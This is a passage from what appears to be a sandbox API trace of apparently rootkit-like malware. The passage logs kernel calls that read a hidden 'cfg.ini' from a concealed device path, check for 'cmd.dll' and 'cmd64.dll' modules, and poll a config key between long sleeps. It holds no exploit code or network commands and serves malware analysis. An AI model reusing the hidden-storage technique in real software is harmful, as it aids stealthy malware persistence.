_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.793] KeEnterCriticalRegion () [0119.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.793] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.793] IdePortDispatch () returned 0x103 [0119.793] KeWaitForMutexObject () returned 0x0 [0119.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.793] KeLeaveCriticalRegion () [0119.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.793] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.793] KeEnterCriticalRegion () [0119.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035df000 [0119.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.793] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.793] IdePortDispatch () returned 0x103 [0119.794] KeWaitForMutexObject () returned 0x0 [0119.794] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.794] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.794] IdePortDispatch () returned 0x103 [0119.794] KeWaitForMutexObject () returned 0x0 [0119.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.794] KeLeaveCriticalRegion () [0119.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.794] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.794] KeEnterCriticalRegion () [0119.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.795] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.795] KeLeaveCriticalRegion () [0119.795] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.795] KeEnterCriticalRegion () [0119.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.795] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.795] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcce10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.795] KeLeaveCriticalRegion () [0119.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.795] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.795] KeEnterCriticalRegion () [0119.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.795] ExFreePoolWithTag (P=0xfffffa8003bcad60, Tag=0x0) [0119.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.795] KeLeaveCriticalRegion () [0119.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.795] ReleaseMutex (hMutex=0xf0) returned 1 [0119.795] Sleep (dwMilliseconds=0x124f80) [0119.811] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.811] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.811] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.811] KeEnterCriticalRegion () [0119.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.811] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.811] IdePortDispatch () returned 0x103 [0119.811] KeWaitForMutexObject () returned 0x0 [0119.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.811] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.811] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.811] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.812] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.812] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.812] KeLeaveCriticalRegion () [0119.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.812] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.812] KeEnterCriticalRegion () [0119.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.812] KeLeaveCriticalRegion () [0119.812] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.812] KeEnterCriticalRegion () [0119.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.812] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.812] IdePortDispatch () returned 0x103 [0119.812] KeWaitForMutexObject () returned 0x0 [0119.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.812] KeLeaveCriticalRegion () [0119.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.812] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.812] KeEnterCriticalRegion () [0119.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e4000 [0119.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.812] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.812] IdePortDispatch () returned 0x103 [0119.813] KeWaitForMutexObject () returned 0x0 [0119.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.813] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.813] IdePortDispatch () returned 0x103 [0119.813] KeWaitForMutexObject () returned 0x0 [0119.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.813] KeLeaveCriticalRegion () [0119.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.813] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.814] KeEnterCriticalRegion () [0119.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.814] KeLeaveCriticalRegion () [0119.814] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.814] KeEnterCriticalRegion () [0119.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.814] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.814] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc6e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.814] KeLeaveCriticalRegion () [0119.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.814] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.814] KeEnterCriticalRegion () [0119.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.814] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.814] KeLeaveCriticalRegion () [0119.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.814] ReleaseMutex (hMutex=0xf0) returned 1 [0119.814] Sleep (dwMilliseconds=0x124f80) [0119.829] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.829] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.829] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.829] KeEnterCriticalRegion () [0119.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.829] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.829] IdePortDispatch () returned 0x103 [0119.829] KeWaitForMutexObject () returned 0x0 [0119.830] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.830] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.830] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.830] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.830] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.830] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca510 [0119.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.830] KeLeaveCriticalRegion () [0119.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.830] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.830] KeEnterCriticalRegion () [0119.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.830] KeLeaveCriticalRegion () [0119.830] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.830] KeEnterCriticalRegion () [0119.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.830] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.830] IdePortDispatch () returned 0x103 [0119.830] KeWaitForMutexObject () returned 0x0 [0119.830] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.830] KeLeaveCriticalRegion () [0119.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.830] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.831] KeEnterCriticalRegion () [0119.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e9000 [0119.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.831] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.831] IdePortDispatch () returned 0x103 [0119.831] KeWaitForMutexObject () returned 0x0 [0119.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.831] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.831] IdePortDispatch () returned 0x103 [0119.831] KeWaitForMutexObject () returned 0x0 [0119.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.831] KeLeaveCriticalRegion () [0119.831] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.832] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.832] KeEnterCriticalRegion () [0119.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.832] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.832] KeLeaveCriticalRegion () [0119.832] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.832] KeEnterCriticalRegion () [0119.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.832] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.832] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.832] KeLeaveCriticalRegion () [0119.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.832] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.832] KeEnterCriticalRegion () [0119.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.832] ExFreePoolWithTag (P=0xfffffa8003bca510, Tag=0x0) [0119.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.832] KeLeaveCriticalRegion () [0119.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.832] ReleaseMutex (hMutex=0xf0) returned 1 [0119.832] Sleep (dwMilliseconds=0x124f80) [0119.848] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.848] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.848] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.848] KeEnterCriticalRegion () [0119.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.848] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.848] IdePortDispatch () returned 0x103 [0119.848] KeWaitForMutexObject () returned 0x0 [0119.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.849] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.849] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.849] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.849] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.849] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.849] KeLeaveCriticalRegion () [0119.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.849] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.849] KeEnterCriticalRegion () [0119.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.849] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.849] KeLeaveCriticalRegion () [0119.849] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.849] KeEnterCriticalRegion () [0119.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.849] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.849] IdePortDispatch () returned 0x103 [0119.849] KeWaitForMutexObject () returned 0x0 [0119.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.849] KeLeaveCriticalRegion () [0119.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.850] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.850] KeEnterCriticalRegion () [0119.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ee000 [0119.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.850] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.850] IdePortDispatch () returned 0x103 [0119.850] KeWaitForMutexObject () returned 0x0 [0119.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.850] MmProbeAndLockPages (in: 